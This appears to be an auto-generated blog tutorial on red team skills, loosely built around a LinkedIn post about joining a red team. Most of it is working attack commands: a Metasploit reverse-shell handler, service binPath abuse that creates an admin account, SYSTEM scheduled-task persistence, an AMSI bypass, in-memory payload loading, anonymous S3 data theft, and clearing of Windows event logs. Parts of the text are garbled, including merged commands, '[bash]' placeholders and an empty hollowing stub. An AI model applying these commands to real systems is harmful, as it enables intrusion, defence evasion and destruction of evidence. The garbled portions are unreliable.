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Introduction:
Red team operations simulate real-world adversarial tactics to test an organization’s detection and response capabilities. Joris Ignoul’s first week as a Red Team Operator at NVISO Security’s ARES team highlights the growing demand for hands-on offensive security experts. This article extracts technical pathways, certifications, and attack techniques from the career trajectories of professionals like Panagiotis Fiskilis (OSCP, OSWE, OSWA, eWPT) and Kevin O. (SANS SEC665 author/instructor) to build a practical red team skill set.
Learning Objectives:
- Configure a red team lab environment with C2 frameworks and attack tools
- Execute a multi‑phase attack simulation (recon → privilege escalation → persistence)
- Apply API security testing and cloud hardening techniques using Linux/Windows commands
You Should Know:
1. Building a Red Team Lab Environment
A dedicated lab is non‑negotiable for safe practice. Use virtualization to isolate attacker and target machines.
Linux (Kali) commands to set up a basic C2 listener with Metasploit:
sudo apt update && sudo apt install metasploit-framework -y msfconsole -q use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.100 your attacker IP set LPORT 4444 exploit -j
Windows (target) – enable WinRM for remote management:
Enable-PSRemoting -Force Set-Item WSMan:\localhost\Client\TrustedHosts -Value "192.168.1.100" -Force
Step‑by‑step guide:
- Install VMware/VirtualBox and create two VMs: Kali Linux (attacker) and Windows 10/Server (target).
- Set both to a host‑only network for isolation.
3. On Kali, run the Metasploit listener above.
- On Windows, generate a malicious payload using `msfvenom` and execute it to catch a reverse shell.
2. Essential Certifications and Training Pathways
Certifications validate red team competencies. Panagiotis Fiskilis holds OSCP (offensive security), OSWE (web exploitation), OSWA (web app testing), and eWPT (web penetration testing). Kevin O. authors SANS SEC665 (Advanced Red Teaming).
Use this automated study tracker (bash script) to log lab hours:
!/bin/bash echo "Red Team Study Log – $(date)" >> ~/rt_log.txt echo "Certification target: OSCP" >> ~/rt_log.txt echo "Hours today: $1" >> ~/rt_log.txt echo "Topics: $2" >> ~/rt_log.txt echo "" >> ~/rt_log.txt
Step‑by‑step:
- Enroll in OffSec’s PEN‑200 (OSCP) – budget ~800 hours of lab time.
- For web focus, take OSWE (AWAE course) and practice with PortSwigger’s Academy.
- For cloud red teaming, add SANS SEC588 or INE’s AWS penetration testing.
- Use the script to daily log progress and identify weak areas.
3. Attack Simulation: From Recon to Persistence
A typical red team operation includes reconnaissance, initial access, privilege escalation, and persistence.
Reconnaissance (Linux – Nmap + RustScan):
rustscan -a 192.168.1.0/24 --ulimit 5000 | tee rust_out.txt nmap -sC -sV -p- 192.168.1.50 -oA full_scan
Privilege escalation (Windows – using PowerUp.ps1):
powershell -ep bypass . .\PowerUp.ps1 Invoke-AllChecks If modifiable service found: sc config [bash] binPath="net user admin P@ssw0rd /add && net localgroup administrators admin /add" sc start [bash]
Persistence via scheduled task (Windows command):
schtasks /create /tn "UpdateTask" /tr "C:\Windows\System32\cmd.exe /c calc.exe" /sc minute /mo 5 /ru SYSTEM
Step‑by‑step guide for the attack chain:
- Run RustScan to discover live hosts, then Nmap for service enumeration.
- Exploit a vulnerable SMB service (e.g., EternalBlue via MS17‑010) to get a low‑privilege shell.
- Execute PowerUp to identify unquoted service paths or weak permissions.
- Escalate to SYSTEM using a modifiable service, then create a scheduled task for persistence.
4. API Security Testing for Red Teamers
Modern red teams target APIs. Use OWASP API Security Top 10 tactics.
Linux – test for mass assignment with curl:
curl -X PUT https://api.target.com/user/123 -H "Content-Type: application/json" -d '{"username":"attacker","isAdmin":true}'
Windows – using Burp Suite’s extension (BApp Store -> Add Custom Header):
Run Burp from command line with project file java -jar burpsuite_pro.jar --project-file=api_test.burp
Step‑by‑step API exploitation:
1. Intercept API traffic with Burp Suite.
- For IDOR, change user IDs in GET requests (e.g., `/api/v1/invoice/1001` →
/api/v1/invoice/1002). - For broken object level authorization, use a different user’s token to access admin endpoints.
- Use `ffuf` to fuzz GraphQL endpoints:
ffuf -u https://target.com/graphql -w graphql_wordlist.txt -X POST -H "Content-Type: application/json" -d '{"query":"{ __typename }"}'.
5. Cloud Hardening and Misconfiguration Exploitation
Cloud misconfigurations are top red team findings. Focus on AWS IAM and Azure AD.
AWS CLI – enumerate S3 bucket permissions:
aws s3 ls s3://target-bucket --no-sign-request aws s3 cp s3://target-bucket/secret.txt . --no-sign-request
Azure – check for privileged role assignments (PowerShell):
Connect-AzAccount
Get-AzRoleAssignment | Where-Object {$_.RoleDefinitionName -eq "Contributor"}
Exploit: Add a managed identity to a VM to steal tokens
Step‑by‑step cloud hardening for defenders (and red team perspective):
1. Enforce bucket policies that deny public read – "Effect": "Deny", "Principal": "", "Action": "s3:GetObject".
2. In Azure, enable Just‑In‑Time (JIT) VM access to block persistent lateral movement.
3. For red team, if you find a storage account key in a Git commit, use `az storage blob download` to exfiltrate data.
4. Always rotate keys after an engagement – documented in the report.
6. Evasion and Bypass Techniques
EDR/AV evasion is critical. Use obfuscation and living‑off‑the‑land (LOLBins).
Windows – AMSI bypass via PowerShell reflection:
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Linux – process hollowing with a custom C payload:
// Compile: gcc -o hollow hollow.c // Then inject into a legitimate process like sshd
Step‑by‑step evasion:
- Detect EDR by querying running processes: `tasklist /FI “IMAGENAME eq MsMpEng.exe”` (Windows Defender).
- Use PowerShell to load a C assembly in memory without writing to disk:
`$bytes = [System.IO.File]::ReadAllBytes(“C:\payload.exe”); [System.Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null, (, [string[]] (”)))`
- For Linux, compile a reverse shell and pack it with UPX:
upx --best --ultra-brute shell.elf. - Test against a free EDR like Elastic’s detection engine (set up a lab).
7. Reporting and Post‑Engagement Cleanup
Every red team operation ends with a report and wiping all artifacts.
Windows – remove persistence and logs:
schtasks /delete /tn "UpdateTask" /f wevtutil cl System wevtutil cl Security
Linux – clean bash history and kill reverse shells:
history -c rm ~/.bash_history pkill -f "nc -e"
Step‑by‑step reporting:
- Use the MITRE ATT&CK framework to map each finding (e.g., T1059 – Command and Scripting Interpreter).
- Write executive summary and technical findings with reproduction steps.
- After client acceptance, run a cleanup script to remove all user accounts, scheduled tasks, and backdoors.
- Provide a remediation timeline (e.g., 30 days for critical findings).
What Undercode Say:
- Key Takeaway 1: Certifications alone don’t make a red teamer – dedicated lab practice with real attack chains (OSCP, OSWE, SANS) builds muscle memory.
- Key Takeaway 2: Modern red teaming requires blending traditional privilege escalation (PowerUp, EternalBlue) with API and cloud misconfiguration attacks (AWS no‑sign requests, Azure role abuse).
Analysis (10 lines):
Undercode emphasizes that the first week at a red team role like NVISO ARES is less about tool proficiency and more about integrating attack workflows into a team’s TTP library. The congratulatory comments from CRTO, OSCP, and SANS instructors validate that continuous learning (e.g., new BSides talks) is the baseline. He notes that the posted career path – from Deloitte senior red team to NVISO – shows the value of offensive certifications combined with public speaking (BSides Athens, Sofia, Krakow). Moreover, the presence of a SANS author (SEC665) indicates that advanced topics like C2 channel detection and evasion are now mandatory. Undercode’s core insight: red team operators must move beyond point‑and‑click tools and script custom bypasses (AMSI, EDR). The lack of AI‑specific content in the post suggests that while AI security is hot, foundational red team skills (network, Windows internals, web) still dominate hiring. Finally, he warns that without regular cleanup and reporting discipline, even a successful engagement becomes useless to the client.
Expected Output:
Example output of a successful privilege escalation check [+] Checking for unquoted service paths... [!] Found: C:\Program Files\Vulnerable Service\service.exe [+] Service 'VulnSvc' is writable by Everyone [+] Exploit ready: sc config VulnSvc binPath="C:\temp\reverse.exe" [+] SYSTEM shell obtained – cleanup required after engagement.
Prediction:
By 2027, red team job posts will require cloud‑native attack skills (AWS Lambda backdoors, Azure AD conditional access bypasses) as standard, mirroring the shift from on‑prem to hybrid environments. AI‑powered red team assistants will automate initial recon and reporting, forcing human operators to focus on bespoke evasion and physical red teaming. The NVISO ARES team’s growth signals a consolidation of boutique red teaming into larger security service providers, leading to standardized frameworks but also commoditization of basic penetration tests. Expect certifications like OSCP to split into “core” (traditional) and “cloud” (AWS/Azure) tracks, while SANS will likely release an AI red teaming course (SEC? AI‑RED). Consequently, operators who master both legacy exploitation and modern API/cloud misconfigurations will command premium salaries, while those relying only on automated tools will be relegated to vulnerability scanning roles.
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Reported By: Joris Ignoul – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
